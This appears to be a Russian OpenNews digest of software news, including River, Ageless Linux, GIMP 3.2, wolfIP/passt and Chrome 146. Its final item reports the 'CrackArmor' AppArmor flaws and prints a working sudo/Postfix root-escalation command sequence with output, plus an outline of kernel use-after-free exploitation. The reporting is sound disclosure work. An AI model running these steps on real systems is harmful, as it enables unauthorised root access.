  Представлен релиз композитного менеджера River 0.4.0, который в отличие от других композитных менеджеров на базе протокола Wayland использует модульную архитектуру с выделением оконного менеджера в отдельную программу. В River оконные менеджеры являются подключаемыми и пользователь может выбирать их на свой вкус. Код проекта написан на языке Zig и распространяется под лицензией GPLv3.

River может выполняться как во вложенных сеансах, запущенных поверх других X11- и Wayland-серверов, так и без прослоек, используя для вывода драйверы KMS/DRM. Для разделения функциональности композитного и оконного менеджеров проектом развивается Wayland-протокол river-window-management-v1. В оконный менеджер выносятся такие функции, как декорирование окон, управление фокусом ввода, указателем, клавиатурными комбинациями, позицией и размером окон.

Возможна замена оконных менеджеров на лету, без прерывания сеанса. На выбор предлагается 16 оконных менеджеров, совместимых с River, среди которых имеются оконные менеджеры мозаичные в стиле DWM или xmonad, Emacs-подобные в стиле EXWM, классические стековые и на основе прокручиваемой ленты. Для запуска X11-приложений поддерживается использование Xwayland.

Среди причин разделения композитного и оконного менеджеров упоминается: снижение порога для написания оконных менеджеров; возможность реализации оконных менеджеров на высокоуровневых языках со сборкой мусора, не влияющих на производительность композитного менеджера; возможность горячей замены оконных менеджеров без перезапуска композитного сервера и запущенных графических программ; упрощение проведения экспериментов, связанных с дизайном оконных менеджеров.

Из ограничений протокола river-window-management-v1 отмечается отсутствие функциональности, выходящей за рамки 2D-операций с рабочим столом, например, не поддерживается создание сложных эффектов и 3D-интерфейсов для систем виртуальной реальности. Эффекты пока ограничиваются простой анимацией, но в будущем более сложные эффекты планируют реализовать при помощи шейдеров.



  1. OpenNews: Выпуск композитных серверов Hyprland 0.54 и labwc 0.9.4
  2. OpenNews: Выпуск композитного сервера Weston 15.0
  3. OpenNews: Проект Xfce анонсировал композитный сервер Xfwl4, использующий Wayland и Rust
  4. OpenNews: Выпуск композитного сервера Niri 25.11, использующего Wayland
  5. OpenNews: Выпуск miracle-wm 0.8, композитного менеджера на базе Wayland и Mir
Обсуждение (60 +18) | Тип: Программы |
·15.03.2026 Создан дистрибутив Ageless Linux для противодействия законам о проверке возраста (184 +44)
  Опубликован дистрибутив Ageless Linux, созданный для противостояния законам, предписывающим добавление в операционные системы API для проверки возраста пользователей. Ageless Linux отмечен как дистрибутив для людей неопределённого возраста, принципиально не соответствующий законам о проверке возраста. Среди прочего, дистрибутив реализует заглушку с API для верификации возраста пользователей, всегда возвращающую неопределённый возраст.

Для установки предлагается скрипт become-ageless.sh, позволяющий сконвертировать любой уже установленный Debian GNU/Linux в Ageless Linux. Скрипт заменяет файл /etc/os-release и включает в него информацию о несоблюдении законов о проверке возраста (COMPLIANCE_STATUS="refused", API_STATUS="refused", VERIFICATION_STATUS="flagrantly noncompliant"), добавляет каталог /etc/ageless/ с отчётами о нарушаемых законах и реализует прототип фиктивного API для выдачи приложениям информации о возрасте пользователей. Реализация API сводится к скрипту /etc/ageless/age-verification-api.sh, который на все запросы выдаёт ошибку "ERROR: Age data not available" с примечанием, что все пользователи в системе имеют неопределённый возраст.

По мере реализации механизмов проверки возраста в дистрибутивах, скрипт намерены расширять средствами для удаления или блокирования подобных механизмов в различных дистрибутивах. Например, в случае реализации D-Bus интерфейса "org.freedesktop.AgeVerification1" в Fedora Linux, скрипт будет адаптирован для применения в Fedora для удаления обработчика, реализующего данный интерфейс, или предоставления пакетов в альтернативным обработчиком, возвращающим неопределённый возраст. Аналогично, в случае появления запроса возраста в инсталляторе Ubuntu, скрипт будет расширен для удаления данного запроса, а если Debian интегрирует в сервис AccountsService передачу информации о возрасте, проект Ageless Linux возьмёт на себя поддержание изменённого форка AccountsService.

Принятые или находящиеся на стадии утверждения законы, предписывающие реализацию проверки возраста, не запрещают распространение операционных систем без подтверждения возраста, но предусматривают штрафы к поставщикам, ответственным за разработку, лицензирование или установку подобных операционной системы. После запуска скрипта от проекта Ageless Linux пользователь принимает на себя роль "поставщика операционной системы". Предполагается, что если ребёнок воспользуется компьютером с Ageless Linux, установивший данный дистрибутив пользователь может рассматриваться как поставщик, предоставивший операционную систему ребёнку без указания его возраста во время создания учётной записи. При этом предполагается, что в подобной ситуации нет пострадавших детей, а есть лишь лица, чей возраст неизвестен.

Проект также намерен распространять устройства на базе платформы Milk-V Duo S, удовлетворяющие предписаниям Закона Калифорнии AB1043, но намеренно не выполняющие его требования. Также планируется запустить каталог приложений store.agelesslinux.org, через который предоставить возможность установки на распространяемых устройствах среды обучения языку Python, текстового редактора, игры "Змейка", IRC-клиента с предупреждением об опасности общения с незнакомыми людьми и 8-строчный скрипт "peepee", выводящий на экран слово "peepee" (предполагается, что за установку подобного скрипта без верификации возраста можно получить штраф).

Создатели Ageless Linux пытаются продемонстрировать абсурдность вводимых законов проверки возраста, распространяя устройства с явным, документированным и преднамеренным нарушением закона AB1043, сулящего получение штрафа. В январе 2027 года подобные устройства планируют раздавать детям на школьных ярмарках и библиотечных мероприятиях. Отмечается, что получение штрафа лучше всяких обсуждений раскроет суть витиеватых формулировок в законе и позволит понять, подпадает ли изменяющий систему bash-скрипт под определение "поставщик операционной системы", считается ли специализированная плата "устройством общего назначения" и можно ли наложить штрафы за "каждого пострадавшего ребёнка" в случае отсутствия возможности посчитать пострадавших детей.

По мнению автора проекта, принимаемые законы о проверке возраста являются скорее защитным барьером и созданием инфраструктуры слежки, чем заботой о безопасности детей. Предъявляемым законом требованиям уже соответствуют крупнейшие производители, такие как Apple, Google и Microsoft, но при этом законы могут привести к неподъёмным издержкам у небольших производителей ОС и проектов, развиваемых энтузиастами. Во многих случаях не реализовавшим требования проверки возраста проектам проще отказаться от распространения в юрисдикциях с подобными законами, так как затраты на юридическую защиту превысят годовой бюджет большинства открытых проектов.

Напомним, что в ряде штатов США продвигаются законопроекты, предписывающие добавление в операционные системы возможности для указания возраста пользователя на этапе регистрации учётной записи и предоставления приложениям программного интерфейса для определения возрастной группы текущего пользователя (младше 13 лет, от 13 до 16 лет, от 16 до 18 лет, 18 лет и старше) для соблюдения законодательства о защите детей в интернете. За невыполнение требований предусмотрены штрафы до $2500 за неумышленное и до $7500 за умышленное нарушение в отношении каждого пострадавшего ребёнка.

Добавление API для запроса приложениями информации о возрасте пользователя уже обсуждается разработчиками дистрибутивов Ubuntu, Debian, Fedora, Linux Mint и NixOS. Конкретные решения ещё не приняты, но рассматривается возможность реализации необходимого API через xdg-desktop-portal или сервис AccountsService с отправкой запросов через новый D-Bus интерфейс "org.freedesktop.AgeVerification1". Руководитель компании System76, разрабатывающей дистрибутив Pop!_OS, пообщался с сенатором штата Колорадо, являющимся соавтором законопроекта о проверке возраста, который предложил подготовить поправки к законопроекту для исключения открытого ПО из области его действия.

Проект MidnightBSD добавил на страницу загрузки предупреждение о запрете использования MidnightBSD жителям штата Калифорния с 1 января 2027 года и Бразилии с 17 марта 2026 года из-за вступления в силу законов о верификации возраста. В случае утверждения законопроектов запрет также распространится на штаты Колорадо, Иллинойс и Нью-Йорк. Утверждается, что разработчики MidnightBSD планируют выполнить требования законов Калифорнии, Колорадо и Иллинойса, но не станут пытаться соответствовать требованиям законов Бразилии и Нью-Йорка, так как MidnightBSD не является коммерческой компанией и не имеет средств для оплаты сервисов верификации.

  1. OpenNews: В Калифорнии утверждён законопроект об интеграции в ОС API для проверки возраста
Обсуждение (184 +44) | Тип: К сведению |
·14.03.2026 Релиз графического редактора GIMP 3.2.0 (82 +48)
  После года разработки представлен релиз графического редактора GIMP 3.2.0. Готовые сборки опубликованы для Linux (AppImage, ожидается Flatpak), Windows и macOS.

Среди наиболее значимых улучшений в GIMP 3.2:

  • Добавлена поддержка слоёв-ссылок (Link layer), позволяющих прикрепить внешние файлы с изображениями в качестве отдельных слоёв. В GIMP к слоям-ссылкам применяется режим недеструктивного редактирования, т.е. манипуляции со слоями-ссылками не влияют на состояние привязанных исходных изображений.

    Например, если добавить SVG-файл как слой-ссылку, то после редактирования этого файла в векторном графическом редакторе Inkscape, содержимое слоя в GIMP будет автоматически синхронизировано с состоянием отредактированного файла. При этом если в GIMP отмасштабировать или повернуть содержимое слоя-ссылки, то данные изменения не повлияют на качество исходного изображения.

    В будущем планируют добавить возможность привязки не только целых изображений, но отдельных слоёв, т.е. как слои-ссылки можно будет привязать выбранные слои из отдельного XCF-файла.

  • Добавлена поддержка векторных слоёв (Vector layer), позволяющих создавать фигуры с заданными свойствами заливки и обводки. Данные хранятся в векторном виде, что позволяет в любой момент изменить контуры фигур (path), выбрать другой цвет заливки или обводки и применить к слою инструменты трансформации в недеструктивном режиме. Для создания векторного слоя следует создать фигуру при помощи инструмента "Контуры" (Path) и нажать кнопку генерации векторного слоя для фигуры, после чего можно, например, повернуть или масштабировать векторный слой без потери качества исходной фигуры.
  • Добавлена поддержка нового формата кистей, задействованного в программе для цифровой живописи MyPaint 2.0. Движок для работы с кистями MyPaint теперь учитывает масштаб и поворот холста при рисовании, что позволяет более точно симулировать реальные мазки кистью. В состав GIMP добавлено более 20 новых кистей из набора Dieterle, входящего в состав MyPaint Brushes 2, включая кисти для рисования стрелок и постеризации.
  • Реализованы опции для отрисовки эскизов кистей, шрифтов и палитр с использованием цветов фона и переднего плана активной темы оформления. Например, при выборе тёмного режима оформления кисти теперь могут отображаться светлым цветом на тёмном фоне, а не только на белом фоне.
  • В инструмент для работы с кистями MyPaint добавлен ползунок "Усиление" (Gain), при помощи которого можно управлять реагированием на степень нажатия при рисовании, например, для симуляции более сильного или слабого нажатия на кисть при рисовании мышью.
  • Добавлена возможность недеструктивного применения фильтров к каналам, по аналогии с тем, как это уже реализовано для слоёв. В панели "Каналы" появился столбец Fx и доступна возможность редактирования, перегруппировки, удаления и объединения фильтров. Проведён рефакторинг реализации недеструктивного редактирования изображений, позволивший упростить дальнейшее расширение функциональности и сопровождение кода, а также избавиться от некоторых ошибок.
  • В интерфейсе выбора цвета, соответствующего схеме CMYK (CMYK Color Selector), реализован расчёт покрытия чернил (Ink Coverage, количество чернил, наносимых на бумагу в одном месте). При подготовке изображения к печати данный параметр позволяет оценить превышение пороговых значений в системах печати (например, слишком большой Ink Coverage может привести к смазыванию или не подходить для используемого типа бумаги).
  • Предложен новый режим смешивания при рисовании - "Overwrite", позволяющий напрямую заменять пиксели в области рисования без смешивания значений прозрачности кисти и существующих пикселей. Режим в основном предназначен для применения с инструментом "карандаш" и может использоваться для пиксельной графики, когда нужно добиться однородной непрозрачности, на которую не влияют уровни прозрачности исходной области.
  • В инструмент для работы с текстом добавлена опция для управления направлением окантовки. Например, контур вокруг букв можно направлять внутрь, наружу или в обоих направлениях.
  • Реализована возможность перемещения всплывающего окна редактора текста над холстом в любое место, не меняя расположение самой редактируемой области. Произведён рефакторинг кода, решивший проблемы с рендерингом текста при очень больших разрешениях. Добавлено сочетание клавиш для вставки неотформатированного текста из буфера обмена (по-умолчанию назначено на Shift + Ctrl + V) по аналогии с ранее добавленными сочетаниями клавиш для форматирования жирным шрифтом, курсивом и подчёркиванием.

  • Добавлена дополнительная тема оформления "System Colors", при выборе которой цвета в интерфейсе автоматически подстраиваются под настройки активных системных тем в Linux и Windows, и обновляются при изменении системной темы.
  • Добавлен GEGL Filter Browser, интерфейс для навигации по фильтрам на базе библиотеки GEGL (Generic Graphics Library). При помощи GEGL Filter Browser можно посмотреть список доступных операций GEGL (фильтров) и информацию по их использованию.



  • В инструменте для создания и редактирования текстовых слоев реализована поддержка комбинаций клавиш "Ctrl + B", "Ctrl + I" и "Ctrl + U" для применения жирного начертания, курсива и подчёркивания. Обеспечено изменение цвета контура текста в реальном времени сразу после изменения цвета в окне выбора цвета, не дожидаясь подтверждения выбора.
  • Представлен новый интерфейс плагина Animation Playback, оформленный в стиле видеоплееров, таких как VLC. Вместо индикатора прогресса задействован слайдер, позволяющий переместится на нужный кадр.
  • Учтены системные настройки для отключения анимированных эффектов.
  • В полях для ввода значений с размером в диалогах настройки сетки и разрешения монитора разрешено использовать математические выражения, например, "3 * 92cm".
  • Внесены изменения для упрощения в будущем портирования на GTK4. Например, осуществлён уход от использования GtkTreeView в пользу GtkListBox.
  • Добавлена возможность быстрого возврата к прошлому инструменту по сочетанию клавиш (по умолчанию назначено на Shift + X). Несмотря на то, что с технической точки зрения GIMP рассматривает применение фильтров (например, яркость-контаст) как применение инструментов (таких как вращение и кисть), в угоду интуитивности данное сочетание клавиш будет переключаться исключительно между состояниями, отображаемыми в интерфейсе в форме инструментов.
  • Появилась возможность открывать множество изображений с помощью перетаскивания файлов на строку вкладок изображений.
  • Добавлена возможность перетаскивания образцов цветов из истории применённых цветов. Ранее это не было возможным из-за смещения фокуса на кнопки соответствующего окна.
  • Для 64-разрядных сборок GIMP с 1024 пикселей до 8192 пикселей увеличен максимальный размер временных кистей и шаблонов. Для 32-разрядных сборок ограничение не изменилось.
  • Добавлена возможность загрузки преднастроек кривых и уровней, используемых в фильтрах Photoshop, и их использование в фильтрах GIMP.
  • Обеспечено открытие любых форматов изображений, упакованных в архивы, сжатые алгоритмами, поддерживаемыми в GIMP (ранее такая поддержка была доступна для сжатых файлов в формата XCF).
  • Добавлена поддержка загрузки RAW-изображений с камер, используя приложение ART (AnotherRawTherapee, форк RawTherapee).
  • Добавлена поддержка экспорта палитры в формате kpl для использования в графическом редакторе Krita.
  • Реализована возможность импорта анимированных изображений в формате APNG.
  • Добавлена поддержка загрузки многослойных изображений в формате OpenEXR.
  • Добавлена поддержка экспорта в формате JPEG 2000 (ранее поддерживался только импорт).
  • Добавлена поддержка импорта и экспорта изображений и текстур в формате TIM, применявшемся в играх для приставки Sony Playstation 1.
  • Добавлена поддержка импорта и экспорта изображений в формате OpenRaster, использующих расширения для запоминания выбранных и заблокированных слоёв.
  • Добавлена поддержка формата OTA Bitmap (Over The Air Bitmap), использовавшегося для кодирования черно-белых изображений на старых телефонах Nokia.
  • Добавлена поддержка импорта изображений в форматах AVCI (Advanced Video Coding), JIF (Jeff’s Image Format, расширенный вариант GIF), HRZ, PAA, PVR (PowerVR), SFW93A, SFW94A и HEJ2 (JPEG 2000 в контейнере HEIF), также импорта pat-файлов с шаблонами Photoshop.
  • Добавлен новый плагин экспорта в формате SVG, позволяющий включать растровые слои в формате PNG или JPEG.
  • Добавлена возможность экспорта векторных изображений в формате PDF.
  • Расширена поддержка формата TIFF, для которого реализована возможность загрузки данных о видимости слоёв, режимов смешивания и тегов цветов.
  • Добавлена поддержка экспорта изображений в формате PSB, используемом в Photoshop и отличающемся от формата PSD возможностью работы с очень крупными изображениями, разрешение которых превышает 30000 пикселей. При импорте PSD/PSB обеспечено распознание и конвертация применения недеструктивных фильтров Drop Shadow и Inner Shadow.

  1. OpenNews: Уязвимости в GNOME Help и GIMP, позволяющие выполнить код при открытии файлов
  2. OpenNews: Релиз графического редактора GIMP 3.0.0
  3. OpenNews: Обновление графического редактора GIMP 3.0.8
  4. OpenNews: Выпуск графического редактора Pinta 3.1
  5. OpenNews: Обновление редактора векторной графики Inkscape 1.4.3
Обсуждение (82 +48) | Тип: Программы | Интересно
·14.03.2026 wolfIP и passt - легковесные стеки TCP/IP, работающие без динамического выделения памяти (106 +31)
  Разработчики криптографической библиотеки wolfSSL развивают TCP/IP стек wolfIP, оптимизированный для использования на встраиваемых устройствах, имеющих ограниченные ресурсы, а также для систем, работающих в режиме реального времени, и решений, требующих повышенной надёжности (Safety-Critical). Для предсказуемого потребления ресурсов в wolfIP не используется динамическое выделение памяти - все буферы и таблицы сокетов имеют фиксированный размер и настраиваются на этапе компиляции. Код проекта написан на языке Си и распространяется под лицензией GPLv3.

Проект может использоваться в качестве работающего в пользовательском пространстве TCP/IP-стека, подменяющего сетевой стек Linux, FreeBSD и macOS, а также пригодного для применения во встраиваемых системах на базе FreeRTOS, SafeRTOS, Zephyr, Azure RTOS ThreadX, NuttX, RTEMS, VxWorks и QNX. Помимо этого на базе wolfIP могут создаваться самодостаточные сетевые приложения, запускаемые поверх оборудования (bare-metal). В сочетании с библиотекой wolfSSL предоставляется поддержка TLS 1.3, что позволяет создавать компактные встраиваемые системы, поддерживающие HTTPS.

Основные особенности wolfIP:

  • Использование при обработке сетевых пакетов предварительно выделенных в статической памяти буферов. Вызовы malloc и free не используются.
  • Возможность использования вместо штатных системных сетевых стеков на POSIX-системах.
  • Поддержка BSD-сокетов в неблокирующем и блокирующем режиме.
  • Компактный размер (4200 строк кода, в 4 раза меньше TCP/IP стека lwIP).
  • Поддержка сетевых интерфейсов STM32 Ethernet.
  • Возможность использования сетевого интерфейса TAP для тестирования работы без оборудования.
  • Разработка с оглядкой на системы с повышенными требованиями к безопасности: детерминированная и воспроизводимая конфигурация; модель развёртывания, обеспечивающая безопасность (Secure-by-default); изоляция между компонентами. Поддержка безопасного обновления версий; длительное сопровождение.
  • Учёт требований к высоконадёжным системам: отсутствие динамического выделения ресурсов; фиксированные пулы памяти; контролируемое использование ресурсов; предсказуемое поведение; упрощённая архитектура; поддержка генерации артефактов для верификации.
  • Реализация IPv4, UDP, TCP, IPSEC, ARP, ICMP, DHCP-клиента, DNS-клиента и HTTP/HTTPS-сервера. Поддержка в реализации TCP RFC 7323 (TCP Timestamps, RTT measurement, PAWS, Window Scaling), MSS (Maximum Segment Size), RTO (Retransmission timeout) и SACK (Selective Acknowledgment). Несколько алгоритмов контроля перегрузки (congestion control).

Из ограничений wolfIP отмечается возможность использования wolfIP только в роли конечного узла, способного принимать и устанавливать соединения, но не поддерживающего маршрутизацию трафика между сетевыми интерфейсами.


В дополнение можно отметить активное развитие сотрудником Red Hat похожего TCP/IP стека passt, работающего в пользовательском пространстве и не использующего динамическое выделение памяти. Проект passt развивается для организации канала связи между хост-окружением и гостевыми системами в QEMU в качестве более безопасной замены libslirp. Код passt написан на языке Си, насчитывает около 5000 строк и распространяется под лицензией GPLv2+.

Из особенностей passt можно отметить: поддержка IPv6 помимо IPv4, оптимизации на базе инструкций AVX2, защита от synflood, встроенная поддержка QEMU, libvirt и Podman, пакеты для всех популярных дистрибутивов, сервис ARP proxy, минималистичные серверы DHCPD, DHCPv6 и NDP, seccomp-профиль для блокирования всех неиспользуемых системных вызовов, поддержка NAT, возможность использования в качестве прозрачной замены slirp4netns.

  1. OpenNews: Выпуск криптографической библиотеки wolfSSL 5.0.0
  2. OpenNews: Intel представил сокращённый вариант сетевого стека для Linux
  3. OpenNews: Проект LibOS развивает вариант ядра Linux с сетевым стеком в форме библиотеки
  4. OpenNews: Выпуск сетевого стека F-Stack 1.24, выполняемого в пространстве пользователя
  5. OpenNews: Доступен открытый Wi-Fi стек OpenWifi 1.4
Обсуждение (106 +31) | Тип: Программы |
·13.03.2026 Выпуск Chrome 146. Анонсированы официальные Linux-сборки Chrome для ARM64 (78 +1)
  Компания Google опубликовала релиз web-браузера Chrome 146. Одновременно доступен стабильный выпуск свободного проекта Chromium, выступающего основой Chrome. Браузер Chrome отличается от Chromium использованием логотипов Google, наличием системы отправки уведомлений в случае краха, модулями для воспроизведения защищённого от копирования видеоконтента (DRM), системой автоматической установки обновлений, постоянным включением Sandbox-изоляции, поставкой ключей к Google API и передачей RLZ-параметров при поиске. Для тех, кому необходимо больше времени на обновление, отдельно поддерживается ветка Extended Stable, сопровождаемая 8 недель. Следующий выпуск Chrome 147 запланирован на 7 апреля.

Отдельно компания Google анонсировала публикацию официальных сборок Chrome для Linux-систем на базе архитектуры ARM64. Linux-сборки для ARM64 начнут формироваться во втором квартале 2026 года и будут доступны в пакетах deb и rpm. Ранее официальные сборки Chrome для Linux публиковались только для архитектуры x86_64, а для архитектуры ARM64 были доступны только сторонние сборки Chromium, предлагаемые дистрибутивами. Официальная версия Chrome отличается поддержкой подключения к учётной записи в Google, интеграцией сервисов Google, синхронизацией данных между устройствами, упрощённой установкой дополнений из каталога Chrome Web Store и возможностью включения расширенного режима защиты.

Основные изменения в Chrome 146:

  • Для части пользователей включён механизм выборочного ограничения полномочий (Selective permission intervention), который блокирует доступ связанных с показом рекламы JavaScript-скриптов к возможностям, влияющим на конфиденциальность, таким как доступ к информации о местоположении, микрофону, буферу обмена, Bluetooth, USB, последовательному порту и захвату экрана. Идея в том, что если пользователь предоставил странице доступ к подобным возможностям, то эти разрешения не будут применяться для размещённых на этой странице сторонних скриптов, загружаемых с других сайтов (обособленно через тег iframe или напрямую через тег script).
  • Изменена структура настроек, связанных с обеспечением безопасности. Для упрощения пользователю предоставлена возможность выбора между стандартным и усиленным уровнем защиты, что позволяет получить желаемый уровень безопасности без необходимости разбираться в деталях и расширенных опциях. При выборе усиленного режима дополнительно выполняется проверка URL и содержимого на серверах Google, выводятся предупреждения для незащищённых соединений и замедляется работа нетипичных для пользователя сайтов для блокирования атак. При желании пользователь может вернуться к старой схеме раздельного конфигурирования каждой настройки. Для управления включением нового оформления настроек безопасности предложен параметр "chrome://flags/#bundled-security-settings".
  • Продолжено развитие AI-режима, позволяющего взаимодействовать с AI-агентом из адресной строки или со страницы, показываемой при открытии новой вкладки. AI-режим даёт возможность задавать сложные вопросы на естественном языке и получать ответы на основе агрегирования информации из наиболее релевантных страниц на заданную тему. При необходимости пользователь может уточнять информацию наводящими вопросами. Режим также позволяет задавать вопросы о содержимом страницы прямо из адресной строки. В Chrome 146 реализована возможность использования файлов из хранилища Google Drive в качестве контекста для AI-агента.
  • В режиме автоматического заполнения полей предоставлена возможность использования дополнительных типов данных, которые ранее были доступны только при включении режима расширенного автозаполнения (Enhanced autofill).
  • Началось постепенное включение у пользователей защиты от обращения к локальной системе при взаимодействии с публичными сайтами. Обращения с сайтов к IP-адресам локальной сети (интранет или внутренние адреса) или loopback-интерфейсу (127.0.0.0/8) потребует подтверждения операции у пользователя. Под действия защиты попадают попытки загрузки ресурсов, запросы fetch() и iframe-вставки. Защита пока не применяется для соединений через WebSockets, WebTransport и WebRTC, но будет добавлена для них в следующем выпуске.

    Обращение к внутренним ресурсам используются злоумышленниками для косвенной идентификации и осуществления CSRF-атак на маршрутизаторы, точки доступа, принтеры, корпоративные web-интерфейсы и другие устройства и сервисы, принимающие запросы только из локальной сети. Для управления попаданием подсетей в категорию внутренних или публичных предложена настройка LocalNetworkAccessIpAddressSpaceOverrides, а для автоматического разрешения доступа для дочерних iframe на основании полномочий родительского iframe-а добавлена настройка LocalNetworkAccessPermissionsPolicyDefaultEnabled.

  • Добавлены CSS-свойства "animation-trigger" и "trigger-scope" для управления анимацией на основе позиции прокрутки страницы. Например, можно запускать, останавливать или перезапускать анимацию при достижении определённой позиции прокрутки, обходясь только декларативным CSS без использования кода на JavaScript.
  • Реализована поддержка реестра пользовательских элементов для разделения области видимости пользовательских HTML-элементов, что может потребоваться при использовании на одной странице нескольких разных пользовательских HTML-элементов, имеющих одно и то же имя. В случае использования на странице нескольких библиотек, определяющих элемент с одинаковым именем, при помощи JavaScript-объекта CustomElementRegistry элементы каждой библиотеки можно закрепить за определёнными частями иерархии DOM. Например, если две библиотеки определяют разные элементы с одинаковым именем <my-button>, то в одной части страницы можно использовать элемент <my-button> из первой библиотеки, а на другой - из второй.
  • Добавлен API Sanitizer, который может быть полезен для чистки поступающих извне данных и вырезания из них HTML-тегов, которые могут использоваться для совершения XSS-атак. API предоставляет методы для манипуляции HTML и вырезания из содержимого HTML-элементов, влияющих на отображение и исполнение. Для безопасной вставки HTML-содержимого предложен метод element.setHTML(), похожий на element.innerHTML, но защищающий от межсайтового скриптинга (XSS). Для безопасного разбора HTML реализован метод document.parseHTML().
    
       const unsanitizedString = "abc <script>alert(1)<" + "/script> def";
    
       const sanitizer1 = new Sanitizer({
         elements: ["div", "p", "button", "script"],
       });
       const target = document.getElementById("target");
       target.setHTML(unsanitizedString, { sanitizer: sanitizer1 });
    
  • В элементе "meta" реализован параметр с именем "text-scale" (например, <meta name="text-scale" content="scale">), включающий автоматическое масштабирование размера шрифта на странице в соответствии с настройками браузера и операционной системы, если на странице используются относительные единицы измерения (rem и em).
  • В API WebGPU добавлен опциональный режим совместимости, предоставляющий подмножество функций, способных работать на системах с устаревшими графическими API, такими как OpenGL и Direct3D11.
  • В JavaScript добавлена возможность объединять несколько итераторов в один с помощью метода Iterator.concat().
  • В режиме "Origin trials" реализован API WebNN, позволяющий использовать предоставляемые операционной системой сервисы для машинного обучения и связанные с этим аппаратные возможности.
  • В режиме "Origin trials" реализован API CPU Performance для получения информации об уровне производительности и характеристиках процессора (число ядер, тип, архитектура, модель, частота и т.п.).
  • В режиме "Origin trials" добавлен атрибут "focusgroup", позволяющий вместо табуляции использовать клавиши управления курсором для перемещения между кнопками или другими элементами, связанными с переключением фокуса.
  • Внесены улучшения в инструменты для web-разработчиков. В web-консоли обеспечено сохранение результатов редактирования команд при навигации по истории операций. В панели Elements реализовано отображение CSS-стилей, добавленных программно к Shadow DOM, через отдельный узел "#adopted-style-sheets" в дереве DOM, по аналогии с просмотром и редактированием стилей, определённых через тег <style>.

Кроме нововведений и исправления ошибок в новой версии устранено 29 уязвимостей. Многие из уязвимостей выявлены в результате автоматизированного тестирования инструментами AddressSanitizer, MemorySanitizer, Control Flow Integrity, LibFuzzer и AFL. Одной из проблем (переполнение буфера в WebML) присвоен критический уровень опасности, подразумевающий, что уязвимость позволяет обойти все уровни защиты браузера и выполнить код в системе за пределами sandbox-окружения. В рамках программы по выплате денежного вознаграждения за обнаружение уязвимостей для текущего релиза компания Google учредила 29 премий и выплатила 211 тысяч долларов США, что стало рекордом по размеру выплат в рамках одного релиза (две премии $43000, по одной премии в $36000, $33000, $11000 и $7000, по две премии в $10000 и $3000, по 4 премии в $2000 и $1000). Размер 12 вознаграждений пока не определён.

  1. OpenNews: Выпуск Chrome 145
  2. OpenNews: Chrome переходит на двухнедельный цикл подготовки релизов
  3. OpenNews: Инструментарий для удаления избыточной функциональности из Chrome, Edge и Firefox
  4. OpenNews: Chrome 154 начнёт запрашивать подтверждение при открытии сайтов без HTTPS
  5. OpenNews: Google представил AI-возможности Chrome
Обсуждение (78 +1) | Тип: Программы |
·13.03.2026 Уязвимости в AppArmor, позволяющие получить root-доступ в системе (112 +27)
  Компания Qualys выявила 9 уязвимостей в системе мандатного управления доступом AppArmor, наиболее опасные из которых позволяют локальному непривилегированному пользователю получить права root в системе, выйти из изолированных контейнеров и обойти ограничения, заданные через AppArmor. Уязвимости получили кодовое имя CrackArmor. CVE-идентификаторы пока не назначены. Успешные примеры повышения привилегий продемонстрированы в Ubuntu 24.04 и Debian 13.

Проблемы присутствуют в LSM-модуле AppArmor начиная с ядра Linux 4.11, выпущенного в 2017 году, и проявляются в дистрибутивах, использующих AppArmor, таких как Ubuntu, Debian, openSUSE и SUSE (начиная с openSUSE/SUSE 16 по умолчанию задействован SELinux, но AppArmor оставлен в качестве опции). Патчи с устранением уязвимостей переданы разработчикам ядра Linux и в ближайшие дни будут предложены пользователям в составе обновлений 6.18.18, 6.19.8, 6.12.77, 6.6.130, 6.1.167, 5.15.203 и 5.10.253. Исправление также включено в сегодняшние обновления пакетов с ядром для Ubuntu. Попутно в Ubuntu выпущены обновления пакетов sudo, sudo-ldap и util-linux (в состав входит утилита su), в которых устранены недоработки, позволявшие эксплуатировать уязвимость в AppArmor. В Debian обновление в процессе подготовки.

Проблемы вызваны наличием в AppArmor фундаментальной уязвимости класса "обманутый посредник" ("confused-deputy"), позволяющей непривилегированным пользователям загружать, заменять и удалять произвольные профили AppArmor. Данная уязвимость напрямую может использоваться для отключения защиты программ и сервисов от локальных и удалённых атак (через запись псевдофайлов /sys/kernel/security/apparmor/.load, .replace и .remove, например, для снятия ограничений в cupsd и rsyslogd), вызова отказа в обслуживании (через применение запрещающих профилей) и обхода ограничений пространств имён (через загрузку нового AppArmor-профиля "userns", например, для /usr/bin/time, позволяющего создавать неограниченные user namespace).

Возможность замены профилей AppArmor также позволяет добиться получения root-привилегий через привязку к привилегированным утилитам, таким как su и sudo, новых профилей, блокирующих доступ к некоторым системным вызовам. В частности, права root можно получить блокировав операцию setuid (CAP_SETUID) для утилиты sudo в сочетании с манипуляцией переменной окружения MAIL_CONFIG для смены каталога с настройками для почтового сервера Postfix.

Суть метода в том, что при возникновении проблем утилита sudo отправляет администратору письмо, запуская /usr/sbin/sendmail. Блокировав сброс привилегий можно добиться запуска данного процесса с правами root, а выставив перед запуском sudo переменную окружения MAIL_CONFIG можно передать утилите sendmail другие настройки, в том числе указать свой обработчик postdrop, запускаемый при отправке почты.


   $ mkdir /tmp/postfix

   $ cat > /tmp/postfix/main.cf << "EOF"
   command_directory = /tmp/postfix
   EOF

   $ cat > /tmp/postfix/postdrop << "EOF"
   #!/bin/sh
   /usr/bin/id >> /tmp/postfix/pwned
   EOF

   $ chmod -R 0755 /tmp/postfix

   $ apparmor_parser -K -o sudo.pf << "EOF"
   /usr/bin/sudo {
     allow file,
     allow signal,
     allow network,
     allow capability,
     deny capability setuid,
   }
   EOF

  $ su -P -c 'stty raw && cat sudo.pf' "$USER" > /sys/kernel/security/apparmor/.replace
   Password: 

  $ env -i MAIL_CONFIG=/tmp/postfix /usr/bin/sudo whatever

   sudo: PERM_SUDOERS: setresuid(-1, 1, -1): Operation not permitted
   sudo: unable to open /etc/sudoers: Operation not permitted
   sudo: setresuid() [0, 0, 0] -> [1001, -1, -1]: Operation not permitted
   sudo: error initializing audit plugin sudoers_audit

   $ cat /tmp/postfix/pwned
   uid=0(root) gid=1001(jane) groups=1001(jane),100(users)

В качестве других способов повышения привилегий упоминаются уязвимости в коде AppArmor, работающем на уровне ядра Linux. Показано как получить права root при помощи уязвимостей, вызванных двойным выполнением функции free() и обращением к уже освобождённой области памяти (use‑after‑free) в коде загрузки и замены профилей AppArmor. Например, AppArmor сохраняет профиль в структуре aa_loaddata, память для которой выделяется в slab-кэше kmalloc-192, при этом из-за состояния гонки не исключено обращение к памяти, которую занимала структура, после её освобождения. Данную проблему можно использовать для получения контроля над освобожденной памятью и перераспределения освобождённой страницы памяти для маппинга содержимого файла /etc/passwd и перезаписи строки с паролем root.

